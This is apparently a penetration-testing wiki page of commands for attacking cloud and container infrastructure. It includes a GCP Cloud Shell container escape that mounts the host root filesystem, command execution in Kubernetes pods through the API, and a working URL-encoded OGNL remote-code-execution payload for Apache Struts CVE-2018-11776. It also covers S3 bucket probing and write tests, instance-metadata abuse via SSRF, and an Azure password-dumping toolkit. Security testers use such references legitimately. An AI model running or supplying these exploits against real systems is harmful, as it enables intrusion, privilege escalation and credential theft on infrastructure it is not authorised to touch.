Exploiting Cloud Infrastructure

Penetration Testing Wiki

Hadoop

In the server machine:

hadoop fs -ls /
hadoop fs -ls -R /
hadoop fs -get /$PATH
hadoop fs -cat /$PATH
hadoop fs -put /$PATH

Docker

Useful commands for local environment:

List containers:

docker ps

List images:

docker images

Useful commands for remote exploitation:

List containers remotely:

docker -H $IP:$port ps -a

List images remotely:

docker -H $IP:$port images

Run CLI remotely:

docker -H $IP:$port info

Privileged mode

By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices (see the documentation on cgroups devices).

When the operator executes the following command:

docker run --privileged

or this one:

docker run --rm -it --cap-add=ALL $CMD

Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host.

Docker evasion in GCP Cloudshell

Create a privileged container with host root filesystem mounted:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name $CONTAINER -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start $CONTAINER
sudo docker -H unix:///google/host/var/run/docker.sock exec -it $CONTAINER /bin/sh

Source: https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/

Kubernetes

Useful commands:

kubectl cluster-info

Open a shell in the container:

kubectl exec $POD_NAME -c $CONTAINER -- bash

List pods:

kubectl get pods

List APIs:

kubectl get apiservices

List hostnames:

kubectl get svc hostnames

Check permissions:

kubectl auth can-i list secrets --namespace dev --as dave

Some relevant paths to query:

curl -k https://$SERVER:8443/apis
curl -k https://$SERVER:8443/apis/metrics.k8s.io/v1beta1
curl -k https://$SERVER:8443/apis/metrics.k8s.io/v1beta1/pods
curl -k https://$SERVER:8443/api/v1/namespaces/$POD_NAMESPACE/pods/$POD_NAME/exec
curl http://$SERVER:$PORT/api/v1/pods

Get all pods paths:

(curl http://$SERVER:$PORT/api/v1/pods | grep selfLink) 2> /dev/null | cut -d'"' -f4

If the kube-proxy was enabled with

kubectl proxy &

we can also query:

curl http://127.0.0.1:8001/api/

How to execute commands inside the container:

curl http://127.0.0.1:8001/api/exec/$NAMESPACE/$POD/$CONTAINER?command=/bin/id&input=1&output=1&tty=0

Exploit for CVE-2018-1002105

In all Kubernetes versions prior to v1.10.11, v1.11.5, and v1.12.3, incorrect handling of error responses to proxied upgrade requests in the kube-apiserver allowed specially crafted requests to establish a connection through the Kubernetes API server to backend servers, then send arbitrary requests over the same connection directly to the backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

minikube

Never use in production environments! It maps guest /Users to host /Users (In MacOS). Easy jail evasion.

How to open a ssh session in the guest:

minikube ssh

Google GWT-RPC

Get all RPC endpoints, leaked from X32.cache.js, being X32 a 32-char string retrieved from the page that does the call:

for i in `perl URLSUCKER -f X32.cache.js | strings -n 32`; do
    curl -Ik https://$SERVER:$PORT/$PATH/$i.gwt.rpc;
done

More info: http://www.owasp.org/images/7/77/Attacking_Google_Web_Toolkit.ppt

Hashicorp Consul

List cluster members:

consul members -http-addr http://$HOST

How to ACL between microservices:

consul intention create -deny web database

Jenkins RCE

Jenkins shell to ease Jenkins post exploitation:

Tomcat

jmxproxy

The JMX Proxy Servlet is a lightweight proxy to get and set the tomcat internals. (Or any class that has been exposed via an MBean) Its usage is not very user friendly but the UI is extremely helpful for integrating command line scripts for monitoring and changing the internals of tomcat. You can do two things with the proxy:

  • get information
  • set information

Source: https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#What_is_JMX_Proxy_Servlet

Paths:

http://$SERVER/manager/jmxproxy
http://$SERVER/manager/jmxproxy/?qry=STUFF
http://$SERVER/manager/jmxproxy/?get=BEANNAME&att=MYATTRIBUTE&key=MYKEY
http://$SERVER/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
http://$SERVER/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage&key=used
http://$SERVER/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
http://$SERVER/manager/jmxproxy/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow
http://$SERVER/manager/jmxproxy/?invoke=BEANNAME&op=METHODNAME&ps=COMMASEPARATEDPARAMETERS
http://$SERVER/manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=

Apache Struts

CVE-2017-5638 Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 – Remote Code Execution (RCE)

CVE-2017-9805 Apache Struts 2.5 < 2.5.12 – REST Plugin XStream Remote Code Execution (RCE)

Test lab deployment

docker pull piesecurity/apache-struts2-cve-2017-5638
docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

CVE-2018-11776

POC:

curl http://$IP/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action

Decoded query:

http://$IP/\${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}/help.action

Cloud Providers Security

Microsoft Azure

MicroBurst: A PowerShell Toolkit for Attacking Azure
https://github.com/NetSPI/MicroBurst

Import-Module .\MicroBurst.psm1
Get-Help Get-AzurePasswords

Amazon AWS

AWS S3 Bucket/Object Finder
https://github.com/brianwarehime/inSp3ctor

Check buckets policies

for bucket in `aws s3 ls|awk '{print $3}'`; do echo "Bucket: $bucket"; aws s3api get-bucket-acl --bucket $bucket --query Grants[?Grantee.Type==\'Group\'].[Grantee.URI,Permission] --output text;aws s3api get-bucket-policy --bucket $bucket --output text 2>/dev/null; done

Check S3 buckets:

aws s3 ls s3://mybucket --recursive --human-readable --summarize

Check without credentials:

aws s3 ls s3://$BUCKET/ --no-sign-request --region us-west-2

Download a file:

aws --profile $PROFILE s3 cp s3://$BUCKET/$FILE .

Check policies:

aws s3api get-object --bucket $BUCKET --key $FILE $FILE
aws s3api get-object-acl --bucket $BUCKET --key $FILE
aws s3api put-object --bucket $BUCKET --key $FILE --body $FILE

How to BUCKET_WRITE without writing:

# use this by: ./put-simulate.sh test-bucket/write.txt 
AWS_ACCESS_KEY_ID="***"
AWS_SECRET_ACCESS_KEY="***"
AWS_S3_BUCKET="$(echo "$1" | cut -d "/" -f1)"
AWS_PATH="/$(echo "$1" | cut -d "/" -f2-)"
date=$(date +"%a, %d %b %Y %T %z")
acl="x-amz-acl:private"
content_type='application/octet-stream'

# we create a checksum of the word "yepp", but will upload a file with the content "nope".
content_md5=$(openssl dgst -md5 -binary <(echo "yepp") | openssl enc -base64)

string="PUT\n${content_md5}\n${content_type}\n${date}\n${acl}\n/${AWS_S3_BUCKET}${AWS_PATH}"
signature=$(echo -en "${string}" | openssl sha1 -hmac "${AWS_SECRET_ACCESS_KEY}" -binary | base64)
echo "PUT to S3 with invalid md5: ${AWS_S3_BUCKET}${AWS_PATH}"
result=$(curl -s --insecure -X PUT --data "nope" \
-H "Host: ${AWS_S3_BUCKET}.s3.amazonaws.com" \
-H "Date: $date" \
-H "Content-Type: ${content_type}" \
-H "Content-MD5: ${content_md5}" \
-H "$acl" \
-H "Authorization: AWS ${AWS_ACCESS_KEY_ID}:${signature}" \
"https://${AWS_S3_BUCKET}.s3.amazonaws.com${AWS_PATH}")

if [ "$(echo ${result} | grep 'The Content-MD5 you specified did not match what we received')" != "" ]; then
  echo "SUCCESS: ${AWS_S3_BUCKET}${AWS_PATH}"
  exit 0
fi
echo "$result"
exit 1

Open EC2 Snapshots

aws --profile $PROFILE ec2 describe-snapshots

or

aws --profile $PROFILE sts get-caller-identity
aws --profile $PROFILE ec2 describe-snapshots --owner-id $ID

To mount the snapshot:

aws --profile $PROFILE ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id $SID

Abusing instance metadata in a SSRF or internal attack

Internally access http://169.254.169.254/latest/meta-data/

Source: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

AWS Subdomain Takeover

How to test it:

For complete domain takeovers:
Use massdns and look for SERVFAIL or REFUSED subdomains. Or NXDOMAIN for registering an old one.

For CNAME takeovers:

For MX, A or NS subdomain takovers there are no tools as they are not so easy to spot and shall be done manually.

Re-using AWS Elastic IPs

aws ec2 associate-address --instance-id $ID --public-ip $IP

List of Amazon IPv4 and IPv6 ranges: https://ip-ranges.amazonaws.com/ip-ranges.json

How to test it:
List all DNS type A entries of a domain and check if all IPs are allocated.

Internal IPs in public domains

Must not be allowed:

Check IAM and policies

aws --profile $PROFILE iam get-user
aws --profile $PROFILE iam list-attached-user-policies --user-name $USERNAME